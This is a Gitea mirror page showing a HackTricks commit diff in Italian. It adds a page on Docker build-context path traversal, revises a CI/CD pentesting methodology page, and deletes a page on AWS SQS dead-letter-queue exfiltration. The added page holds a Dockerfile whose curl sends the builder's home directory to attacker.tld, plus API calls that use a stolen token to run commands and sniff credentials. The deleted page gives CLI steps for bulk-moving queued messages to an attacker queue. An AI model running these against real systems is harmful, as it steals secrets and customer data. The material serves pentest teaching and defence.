gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2025-12-28 05:33:10 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-ci-cd/pentesting-ci-cd-methodology.md', 'src

Browse Source
This commit is contained in:
Translator
2025-10-25 16:04:45 +00:00
parent 85912d0e4a
commit 9d0dee58c6
3 changed files with 145 additions and 193 deletions
Download Patch File Download Diff File Expand all files Collapse all files

99
src/pentesting-ci-cd/docker-build-context-abuse.md Normal file
View File

@@ -0,0 +1,99 @@
# Abuso del Docker Build Context nei Hosted Builders (Path Traversal, Exfil, and Cloud Pivot)
{{#include ../banners/hacktricks-training.md}}
## TL;DR
Se una piattaforma CI/CD o un hosted builder permette ai contributor di specificare il percorso del Docker build context e il percorso del Dockerfile, spesso puoi impostare il context su una directory padre (es., "..") e includere file dell'host nel build context. A quel punto, un Dockerfile controllato dall'attaccante può usare COPY ed exfiltrate secrets trovati nella home dell'utente del builder (per esempio, ~/.docker/config.json). I registry tokens rubati possono anche funzionare contro le control-plane APIs del provider, consentendo RCE a livello di organizzazione.
## Superficie d'attacco
Molti servizi hosted builder/registry eseguono più o meno questo quando costruiscono immagini fornite dagli utenti:
- Leggere una config a livello di repo che include:
- build context path (inviato al Docker daemon)
- Dockerfile path relativo a quel context
- Copiare la directory del build context indicata e il Dockerfile al Docker daemon
- Buildare l'immagine ed eseguirla come servizio ospitato
Se la piattaforma non canonicalizza e limita il build context, un utente può impostarlo su una posizione esterna al repository (path traversal), causando che file arbitrari dell'host leggibili dall'utente di build diventino parte del build context e siano disponibili per COPY nel Dockerfile.
Vincoli pratici comunemente osservati:
- Il Dockerfile deve risiedere all'interno del path di context scelto e il suo percorso deve essere noto in anticipo.
- L'utente di build deve avere permessi di lettura sui file inclusi nel context; file di device speciali possono interrompere la copia.
## PoC: Path traversal via Docker build context
```yaml
runtime: "container"
build:
dockerfile: "test/Dockerfile" # Must reside inside the final context
dockerBuildPath: ".." # Path traversal to builder user $HOME
startCommand:
type: "http"
configSchema:
type: "object"
properties:
apiKey:
type: "string"
required: ["apiKey"]
exampleConfig:
apiKey: "sk-example123"
```
Note:
- L'uso di ".." spesso risolve nella home dell'utente builder (es., /home/builder), che tipicamente contiene file sensibili.
- Posiziona il tuo Dockerfile nella directory con il nome del repo (es., repo "test" → test/Dockerfile) in modo che rimanga all'interno del contesto genitore espanso.
## PoC: Dockerfile per ingerire ed esfiltrare il contesto del host
```dockerfile
FROM alpine
RUN apk add --no-cache curl
RUN mkdir /data
COPY . /data # Copies entire build context (now builder’s $HOME)
RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
```
Obiettivi comunemente recuperati da $HOME:
- ~/.docker/config.json (registry auths/tokens)
- Altre cache e config cloud/CLI (es., ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
Suggerimento: Anche con un .dockerignore nel repository, la selezione del contesto lato piattaforma vulnerabile continua a governare ciò che viene inviato al daemon. Se la piattaforma copia il percorso scelto al daemon prima di valutare il .dockerignore del tuo repo, file dell'host potrebbero comunque essere esposti.
## Cloud pivot with overprivileged tokens (example: Fly.io Machines API)
Alcune piattaforme emettono un singolo bearer token utilizzabile sia per il container registry sia per il control-plane API. Se riesci a exfiltrate un registry token, provane l'uso contro l'API del provider.
Esempi di chiamate API contro Fly.io Machines API usando lo stolen token da ~/.docker/config.json:
Enumerate apps in an org:
```bash
curl -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps?org_slug=smithery"
```
Eseguire un comando come root su qualsiasi macchina di un'app:
```bash
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
```
Risultato: remote code execution a livello di organizzazione su tutte le app ospitate dove il token possiede privilegi sufficienti.
## Furto di segreti da servizi ospitati compromessi
Con exec/RCE su server ospitati, puoi raccogliere segreti forniti dal client (API keys, tokens) o eseguire attacchi di prompt-injection. Esempio: installare tcpdump e catturare il traffico HTTP sulla porta 8080 per estrarre le credenziali in ingresso.
```bash
# Install tcpdump inside the machine
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'
# Capture traffic
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
```
Le richieste catturate spesso contengono credenziali client nelle intestazioni, nei corpi o nei parametri di query.
## Riferimenti
- [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/)
- [Fly.io Machines API](https://fly.io/docs/machines/api/)
{{#include ../banners/hacktricks-training.md}}

85
src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
View File

@@ -1,4 +1,4 @@
# Metodologia Pentesting CI/CD
# Pentesting CI/CD Methodology
{{#include ../banners/hacktricks-training.md}}
@@ -6,98 +6,105 @@
## VCS
VCS sta per **Sistema di Controllo delle Versioni**, questo sistema permette agli sviluppatori di **gestire il loro codice sorgente**. Quello più comune è **git** e solitamente troverai le aziende che lo utilizzano in una delle seguenti **piattaforme**:
VCS sta per **Sistema di Controllo delle Versioni**, questo sistema permette agli sviluppatori di **gestire il loro codice sorgente**. Il più comune è **git** e solitamente le aziende lo utilizzano in una delle seguenti **piattaforme**:
- Github
- Gitlab
- Bitbucket
- Gitea
- Gitblit
- Cloud providers (they offer their own VCS platforms)
- Cloud providers (offrono le proprie piattaforme VCS)
## CI/CD Pipelines
Le CI/CD pipelines permettono agli sviluppatori di **automatizzare l'esecuzione del codice** per vari scopi, inclusi build, test e deploy delle applicazioni. Questi workflow automatizzati vengono **attivati da azioni specifiche**, come push di codice, pull request o task schedulati. Sono utili per snellire il processo dallo sviluppo alla produzione.
Le CI/CD pipelines permettono agli sviluppatori di **automatizzare l’esecuzione del codice** per vari scopi, inclusi build, test e deploy delle applicazioni. Questi workflow automatizzati sono **innescati da azioni specifiche**, come push di codice, pull request o task pianificati. Sono utili per snellire il processo dallo sviluppo alla produzione.
Tuttavia, questi sistemi devono essere **eseguiti da qualche parte** e di solito con **credenziali privilegiate per deployare codice o accedere a informazioni sensibili**.
Tuttavia, questi sistemi devono essere **eseguiti da qualche parte** e solitamente con **credenziali privilegiate per deployare codice o accedere a informazioni sensibili**.
## VCS Pentesting Methodology
> [!NOTE]
> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code.
> Anche se alcune piattaforme VCS permettono di creare pipelines, in questa sezione analizzeremo solo potenziali attacchi al controllo del codice sorgente.
Le piattaforme che contengono il codice sorgente del tuo progetto contengono informazioni sensibili e bisogna fare molta attenzione con i permessi concessi all'interno di queste piattaforme. Questi sono alcuni problemi comuni nelle piattaforme VCS che un attacker potrebbe sfruttare:
Le piattaforme che contengono il codice sorgente del tuo progetto custodiscono informazioni sensibili e le persone devono essere molto attente alle autorizzazioni concesse all'interno di queste piattaforme. Questi sono alcuni problemi comuni nelle piattaforme VCS che un attacker potrebbe sfruttare:
- **Leaks**: Se il tuo codice contiene leak nei commit e l'attacker può accedere al repo (perché è pubblico o perché ha accesso), potrebbe scoprire i leak.
- **Access**: Se un attacker riesce ad **accedere a un account sulla piattaforma VCS** potrebbe ottenere **maggiore visibilità e permessi**.
- **Access**: Se un attacker può **accedere ad un account all'interno della piattaforma VCS** potrebbe ottenere **maggiore visibilità e permessi**.
- **Register**: Alcune piattaforme permettono semplicemente a utenti esterni di creare un account.
- **SSO**: Alcune piattaforme non permettono la registrazione, ma consentono a chiunque di accedere con una SSO valida (quindi un attacker potrebbe usare ad esempio il suo account github per entrare).
- **SSO**: Alcune piattaforme non permettono registrazioni dirette, ma consentono a chiunque con un SSO valido di accedere (ad esempio un attacker potrebbe usare il suo account github per entrare).
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... ci sono diversi tipi di token che un utente potrebbe rubare per accedere in qualche modo a un repo.
- **Webhooks**: Le piattaforme VCS permettono di generare webhooks. Se non sono **protetti** con secret non visibili un **attacker potrebbe abusarne**.
- Se non è presente nessun secret, l'attacker potrebbe abusare del webhook della piattaforma terza
- Se il secret è nella URL, succede lo stesso e l'attacker avrà anche il secret
- **Code compromise:** Se un attore malevolo ha in qualche modo **accesso in scrittura** ai repo, potrebbe provare a **iniettare codice malevolo**. Per avere successo potrebbe dover **bypassare le branch protections**. Queste azioni possono essere eseguite con diversi obiettivi:
- **Webhooks**: VCS platforms allow to generate webhooks. If they are **not protected** with non visible secrets an **attacker could abuse them**.
- If no secret is in place, the attacker could abuse the webhook of the third party platform
- If the secret is in the URL, the same happens and the attacker also have the secret
- **Code compromise:** Se un attore malevolo ha qualche tipo di **write** su un repo, potrebbe provare a **iniettare codice malevolo**. Per avere successo potrebbe essere necessario **bypassare le branch protections**. Queste azioni possono essere eseguite con diversi obiettivi:
- Compromettere il main branch per **compromettere la produzione**.
- Compromettere il main (o altri branch) per **compromettere le macchine degli sviluppatori** (dato che di solito eseguono test, terraform o altre cose dal repo sulle loro macchine).
- **Compromettere la pipeline** (vedi sezione successiva)
- Compromettere il main (o altri branch) per **compromettere le macchine degli sviluppatori** (poiché solitamente eseguono test, terraform o altre operazioni locali sui repo).
- **Compromise the pipeline** (vedi sezione successiva)
## Pipelines Pentesting Methodology
Il modo più comune per definire una pipeline è usando un **CI configuration file ospitato nel repository** che la pipeline costruisce. Questo file descrive l'ordine dei job eseguiti, le condizioni che influenzano il flusso e le impostazioni dell'ambiente di build.\
Questi file tipicamente hanno un nome e un formato coerenti, per esempio — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), e i file YAML di GitHub Actions sotto .github/workflows. Quando viene triggerata, la pipeline job **pulls the code** dalla sorgente selezionata (es. commit / branch), e **esegue i comandi specificati nel CI configuration file** su quel codice.
Il modo più comune per definire una pipeline è tramite un **file di configurazione CI ospitato nel repository** che la pipeline builda. Questo file descrive l'ordine dei job eseguiti, le condizioni che influenzano il flusso e le impostazioni dell'ambiente di build.\
Questi file tipicamente hanno nomi e formati coerenti, per esempio — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) e i file YAML di GitHub Actions sotto .github/workflows. Quando viene triggerata, la pipeline job **pulls the code** dalla sorgente selezionata (es. commit / branch), e **esegue i comandi specificati nel CI configuration file** su quel codice.
Quindi l'obiettivo finale dell'attacker è in qualche modo **compromettere quei file di configurazione** o i **comandi che essi eseguono**.
Quindi l'obiettivo ultimo dell'attacker è in qualche modo **compromettere quei file di configurazione** o i **comandi che essi eseguono**.
> [!TIP]
> Alcuni hosted builders permettono ai contributor di scegliere il Docker build context e il Dockerfile path. Se il context è controllato dall'attacker, potresti impostarlo fuori dal repo (es. "..") per ingerire file dell'host durante il build ed esfiltrare secrets. Vedi:
>
>{{#ref}}
>docker-build-context-abuse.md
>{{#endref}}
### PPE - Poisoned Pipeline Execution
La Poisoned Pipeline Execution (PPE) sfrutta le autorizzazioni in un repository SCM per manipolare una pipeline CI ed eseguire comandi dannosi. Utenti con i permessi necessari possono modificare i CI configuration files o altri file usati dal job della pipeline per includere comandi malevoli. Questo "avvelena" la pipeline CI, portando all'esecuzione di tali comandi malevoli.
The Poisoned Pipeline Execution (PPE) path sfrutta i permessi in un repository SCM per manipolare una CI pipeline ed eseguire comandi dannosi. Utenti con i permessi necessari possono modificare i file di configurazione CI o altri file usati dal job della pipeline per includere comandi malevoli. Questo "avvelena" la pipeline CI, portando all'esecuzione di tali comandi dannosi.
Perché un attore malevolo abbia successo in un attacco PPE deve essere in grado di:
- Avere **write access alla piattaforma VCS**, dato che di solito le pipeline sono triggerate quando viene eseguito un push o una pull request. (Vedi la VCS pentesting methodology per un riepilogo dei modi per ottenere accesso).
- Avere **write access alla piattaforma VCS**, poiché solitamente le pipeline sono triggerate quando viene fatto un push o una pull request. (Vedi la VCS pentesting methodology per un riepilogo dei modi per ottenere accesso).
- Nota che a volte una **PR esterna conta come "write access"**.
- Anche se ha permessi di scrittura, deve essere sicuro di poter **modificare il CI config file o altri file su cui il config si basa**.
- Per questo, potrebbe dover essere in grado di **bypassare le branch protections**.
- Anche se ha permessi di scrittura, deve essere sicuro di poter **modificare il file di config CI o altri file su cui la config si basa**.
- Per fare ciò potrebbe dover essere in grado di **bypassare branch protections**.
Ci sono 3 varianti di PPE:
- **D-PPE**: Un attacco **Direct PPE** si verifica quando l'attore **modifica il CI config** file che verrà eseguito.
- **I-DDE**: Un attacco **Indirect PPE** avviene quando l'attore **modifica** un **file** su cui il CI config che verrà eseguito **fa affidamento** (come un make file o una config terraform).
- **Public PPE or 3PE**: In alcuni casi le pipeline possono essere **triggerate da utenti che non hanno write access nel repo** (e che potrebbero neanche far parte dell'organizzazione) perché possono inviare una PR.
- **3PE Command Injection**: Di solito, le pipeline CI/CD impostano **environment variables** con **informazioni sulla PR**. Se quel valore può essere controllato da un attacker (come il titolo della PR) ed è **usato** in un punto **pericoloso** (come l'esecuzione di comandi sh), un attacker potrebbe **iniettare comandi lì dentro**.
- **D-PPE**: Un attacco **Direct PPE** si verifica quando l'attore **modifica il file di config CI** che verrà eseguito.
- **I-DDE**: Un attacco **Indirect PPE** si verifica quando l'attore **modifica** un **file** su cui il file di config CI fa **relay** (come un Makefile o una configurazione terraform).
- **Public PPE or 3PE**: In alcuni casi le pipelines possono essere **triggerate da utenti che non hanno write access al repo** (e che potrebbero non far parte dell'org) perché possono inviare una PR.
- **3PE Command Injection**: Di solito, CI/CD pipelines imposteranno environment variables con informazioni sulla PR. Se quel valore può essere controllato da un attacker (come il titolo della PR) e viene **usato** in un punto **pericoloso** (ad es. per eseguire comandi sh), un attacker potrebbe **iniettare comandi lì dentro**.
### Exploitation Benefits
Conoscendo le 3 varianti per avvelenare una pipeline, vediamo cosa un attacker potrebbe ottenere dopo una sfruttamento riuscito:
Conoscendo le 3 varianti per avvelenare una pipeline, vediamo cosa un attacker potrebbe ottenere dopo un exploit riuscito:
- **Secrets**: Come menzionato prima, le pipeline richiedono **privilegi** per i loro job (recuperare il codice, buildarlo, deployarlo...) e questi privilegi sono di solito **concessi come secrets**. Questi secrets sono spesso accessibili tramite **env variables o file dentro il sistema**. Perciò un attacker cercherà sempre di esfiltrare quanti più secrets possibile.
- A seconda della piattaforma pipeline l'attacker **potrebbe dover specificare i secrets nella config**. Ciò significa che se l'attacker non può modificare la CI configuration pipeline (**I-PPE** per esempio), potrebbe **esfiltrare solo i secrets che quella pipeline possiede**.
- **Computation**: Il codice viene eseguito da qualche parte; a seconda di dove viene eseguito un attacker potrebbe pivotare ulteriormente.
- **On-Premises**: Se le pipeline sono eseguite on-premises, un attacker potrebbe finire in una **rete interna con accesso a più risorse**.
- **Cloud**: L'attacker potrebbe accedere **ad altre macchine in cloud** ma anche potrebbe **esfiltrare** IAM roles/service accounts **tokens** da esso per ottenere **ulteriore accesso nel cloud**.
- **Platforms machine**: A volte i job vengono eseguiti sulle **macchine della piattaforma pipeline**, che solitamente sono in cloud con **nessun accesso aggiuntivo**.
- **Select it:** A volte la **pipelines platform avrà configurato diverse macchine** e se puoi **modificare il CI configuration file** puoi **indicare dove vuoi eseguire il codice malevolo**. In questa situazione, un attacker probabilmente eseguirà una reverse shell su ogni macchina possibile per provare a sfruttarla ulteriormente.
- **Compromise production**: Se sei nella pipeline e la versione finale viene buildata e deployata da essa, potresti **compromettere il codice che finirà in esecuzione in produzione**.
- **Secrets**: Come già menzionato, le pipeline richiedono **privilegi** per i loro job (recuperare il codice, buildarlo, deployarlo...) e questi privilegi sono solitamente **conservati in secrets**. Questi secrets sono spesso accessibili tramite **env variables o file all'interno del sistema**. Pertanto un attacker cercherà sempre di esfiltrare quanti più secrets possibile.
- A seconda della piattaforma pipeline, l'attacker **potrebbe dover specificare i secrets nella config**. Questo significa che se l'attacker non può modificare la configurazione CI (es. I-PPE), potrebbe **esfiltrare solo i secrets che quella pipeline possiede**.
- **Computational resources**: Il codice viene eseguito da qualche parte; a seconda di dove viene eseguito un attacker potrebbe essere in grado di pivotare ulteriormente.
- **On-Premises**: Se le pipeline sono eseguite on-premises, un attacker potrebbe ritrovarsi in una **rete interna con accesso ad altre risorse**.
- **Cloud**: L'attacker potrebbe accedere **ad altre macchine nel cloud** ma anche **esfiltrare** IAM roles/service accounts **tokens** da esso per ottenere **ulteriore accesso nel cloud**.
- **Platforms machine**: A volte i job vengono eseguiti nelle **macchine della piattaforma pipeline**, che solitamente stanno in un cloud senza altri accessi.
- **Select it:** Talvolta la **piattaforma pipeline ha diverse macchine configurate** e se puoi **modificare il file di config CI** puoi **indicare dove vuoi eseguire il codice malevolo**. In questa situazione un attacker probabilmente aprirà una reverse shell su ciascuna macchina possibile per cercare di sfruttarla ulteriormente.
- **Compromise production**: Se sei all'interno della pipeline e la versione finale viene buildata e deployata da essa, potresti **compromettere il codice che finirà in produzione**.
## More relevant info
### Tools & CIS Benchmark
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) è uno strumento open-source per auditare la tua software supply chain stack per la compliance di sicurezza basata su un nuovo [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). L'audit si concentra sull'intero processo SDLC, dove può rivelare rischi dal code time fino al deploy time.
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) è uno strumento open-source per auditare la tua supply chain software per la compliance di sicurezza basata sul nuovo [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). L'audit si concentra sull'intero processo SDLC, dove può rivelare rischi dal time of code fino al deploy.
### Top 10 CI/CD Security Risk
Dai un'occhiata a questo articolo interessante sui top 10 rischi CI/CD secondo Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
Leggi questo articolo interessante sui top 10 rischi CI/CD secondo Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
### Labs
- Per ogni piattaforma che puoi eseguire localmente troverai come lanciarla localmente così da poterla configurare come vuoi per testarla
- Per ogni piattaforma che puoi eseguire localmente troverai come avviarla localmente così puoi configurarla come vuoi per testarla
- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
### Automatic Tools
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** è uno strumento di static code analysis per infrastructure-as-code.
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** è uno strumento di analisi statica del codice per infrastructure-as-code.
## References

154
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
View File

@@ -1,154 +0,0 @@
# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
{{#include ../../../banners/hacktricks-training.md}}
## Description
Abusa dei message move task di SQS per rubare tutti i messaggi accumulati nella Dead-Letter Queue (DLQ) di una vittima reindirizzandoli a una coda controllata dall'attaccante usando `sqs:StartMessageMoveTask`. Questa tecnica sfrutta la funzionalità legittima di recupero dei messaggi di AWS per esfiltrare dati sensibili che si sono accumulati nelle DLQ nel tempo.
## What is a Dead-Letter Queue (DLQ)?
Una Dead-Letter Queue è una coda SQS speciale dove i messaggi vengono inviati automaticamente quando non vengono processati correttamente dall'applicazione principale. Questi messaggi falliti spesso contengono:
- Dati sensibili dell'applicazione che non sono stati processati
- Dettagli di errore e informazioni di debug
- Personal Identifiable Information (PII)
- API token, credenziali o altri segreti
- Dati di transazioni business-critical
Le DLQ agiscono come un "cimitero" per i messaggi falliti, rendendole obiettivi preziosi poiché accumulano dati sensibili nel tempo che le applicazioni non sono riuscite a gestire correttamente.
## Attack Scenario
**Real-world example:**
1. **E-commerce application** processa gli ordini dei clienti tramite SQS
2. **Alcuni ordini falliscono** (problemi di pagamento, problemi di inventario, ecc.) e vengono spostati in una DLQ
3. **La DLQ si accumula** settimane/mesi di ordini falliti contenenti dati dei clienti: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
4. **L'attaccante ottiene l'accesso** alle credenziali AWS con permessi SQS
5. **L'attaccante scopre** che la DLQ contiene migliaia di ordini falliti con dati sensibili
6. **Invece di cercare di accedere ai singoli messaggi** (lento e evidente), l'attaccante usa `StartMessageMoveTask` per trasferire in blocco TUTTI i messaggi nella propria coda
7. **L'attaccante estrae** tutti i dati sensibili storici in un'unica operazione
## Requirements
- La source queue deve essere configurata come DLQ (referenziata da almeno una RedrivePolicy di una coda).
- Permessi IAM (eseguito come il principal vittima compromesso):
- Sulla DLQ (sorgente): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
- Sulla coda di destinazione: permesso di consegnare messaggi (es. una queue policy che permetta `sqs:SendMessage` dal principal vittima). Per destinazioni nello stesso account questo è tipicamente permesso di default.
- Se SSE-KMS è abilitato: sulla CMK sorgente `kms:Decrypt`, e sulla CMK di destinazione `kms:GenerateDataKey`, `kms:Encrypt`.
## Impact
Esfiltrare payload sensibili accumulati nelle DLQ (eventi falliti, PII, token, payload applicativi) ad alta velocità usando le API native di SQS. Funziona cross-account se la queue policy di destinazione permette `SendMessage` dal principal vittima.
## How to Abuse
- Identifica l'ARN della DLQ vittima e assicurati che sia effettivamente referenziata come DLQ da qualche coda (qualsiasi coda va bene).
- Crea o scegli una coda di destinazione controllata dall'attaccante e ottieni il suo ARN.
- Avvia un message move task dalla DLQ vittima alla tua coda di destinazione.
- Monitora il progresso o annulla se necessario.
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
**Scenario**: Un attaccante ha compromesso credenziali AWS e ha scoperto che un'applicazione e-commerce usa SQS con una DLQ contenente tentativi falliti di elaborazione degli ordini dei clienti.
1) **Discover and examine the victim DLQ**
```bash
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
aws sqs list-queues --queue-name-prefix dlq
# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
# Check how many messages are in the DLQ (potential treasure trove!)
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
--attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847"
```
2) **Crea una coda di destinazione controllata dall'attaccante**
```bash
# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
```
3) **Esegui il bulk message theft**
```bash
# Start moving ALL messages from victim DLQ to our queue
# This operation will transfer thousands of failed orders containing customer data
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
TASK_RESPONSE=$(aws sqs start-message-move-task \
--source-arn "$SRC_ARN" \
--destination-arn "$ATTACKER_Q_ARN" \
--max-number-of-messages-per-second 100)
echo "Move task started: $TASK_RESPONSE"
# Monitor the theft progress
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
```
4) **Raccogliere i dati sensibili rubati**
```bash
# Receive the exfiltrated customer data
echo "Receiving stolen customer data..."
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--attribute-names All --message-attribute-names All \
--max-number-of-messages 10 --wait-time-seconds 5
# Example of what an attacker might see:
# {
# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
# "MessageId": "12345-abcd-6789-efgh"
# }
# Continue receiving all messages in batches
while true; do
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--max-number-of-messages 10 --wait-time-seconds 2 --output json)
if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
echo "No more messages - exfiltration complete!"
break
fi
echo "Received batch of stolen data..."
# Process/save the stolen customer data
echo "$MESSAGES" >> stolen_customer_data.json
done
```
### Note cross-account
- La destination queue deve avere una resource policy che consenta al victim principal di `sqs:SendMessage` (e, se usati, KMS grants/permissions).
## Perché questo attacco è efficace
1. **Funzionalità AWS legittima**: Usa funzionalità integrate di AWS, rendendo difficile rilevarlo come attività malevola
2. **Operazione in blocco**: Trasferisce migliaia di messaggi rapidamente invece di accessi lenti e individuali
3. **Dati storici**: Le DLQs accumulano dati sensibili per settimane/mesi
4. **Sotto il radar**: Molte organizzazioni non monitorano attentamente l'accesso alle DLQ
5. **Capacità cross-account**: Può esfiltrare verso l'account AWS dell'attaccante se i permessi lo consentono
## Rilevamento e prevenzione
### Rilevamento
Monitorare CloudTrail per chiamate API `StartMessageMoveTask` sospette:
```json
{
"eventName": "StartMessageMoveTask",
"sourceIPAddress": "suspicious-ip",
"userIdentity": {
"type": "IAMUser",
"userName": "compromised-user"
},
"requestParameters": {
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
}
}
```
### Prevenzione
1. **Privilegio minimo**: Restringere i permessi `sqs:StartMessageMoveTask` solo ai ruoli necessari
2. **Monitorare le DLQs**: Configurare allarmi CloudWatch per attività anomale delle DLQs
3. **Policy cross-account**: Revisionare attentamente le policy delle code SQS che consentono accesso cross-account
4. **Crittografare le DLQs**: Usare SSE-KMS con policy delle chiavi ristrette
5. **Pulizia regolare**: Non lasciare che dati sensibili si accumulino nelle DLQs indefinitamente
{{#include ../../../banners/hacktricks-training.md}}